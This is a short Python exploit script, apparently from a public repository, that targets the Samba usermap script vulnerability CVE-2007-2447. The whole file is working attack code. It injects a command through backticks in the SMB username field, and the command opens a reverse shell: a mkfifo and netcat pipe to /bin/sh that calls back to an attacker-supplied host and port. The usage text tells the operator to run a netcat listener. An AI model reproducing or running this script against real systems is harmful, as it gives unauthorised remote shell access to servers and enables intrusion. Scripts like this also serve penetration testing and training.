<reponame>ozuma/CVE-2007-2447<gh_stars>1-10
#!/usr/bin/python3

# Ref: https://github.com/amriunix/CVE-2007-2447/blob/master/usermap_script.py
# Ref: https://amriunix.com/post/cve-2007-2447-samba-usermap-script/
# Product: Samba
# Vuln: CVE-2007-2447
# Exploit-DB: https://www.exploit-db.com/exploits/16320
#
# install: pip3 install pysmb

import sys
import platform
from smb.SMBConnection import SMBConnection

def exploit(rhost, rport, lhost, lport):
    payload = 'mkfifo /tmp/f; nc ' + lhost + ' ' + lport + ' 0</tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f'
    username = "/=`nohup " + payload + "`"
    conn = SMBConnection(username,"","","")
    conn.connect(rhost, int(rport)) 


if __name__ == '__main__':
    print("[*] CVE-2007-2447 - Samba usermap script")
    if len(sys.argv) != 5:
        print("[-] usage: python " + sys.argv[0] + " <RHOST> <RPORT> <LHOST> <LPORT>")
        print("[-]  at another terminal, $ nc -lvnp <LPORT>")
    else:
        print("[+] Connecting")
        rhost = sys.argv[1]
        rport = sys.argv[2] # Usually 139/tcp
        lhost = sys.argv[3]
        lport = sys.argv[4]
        exploit(rhost, rport, lhost, lport)
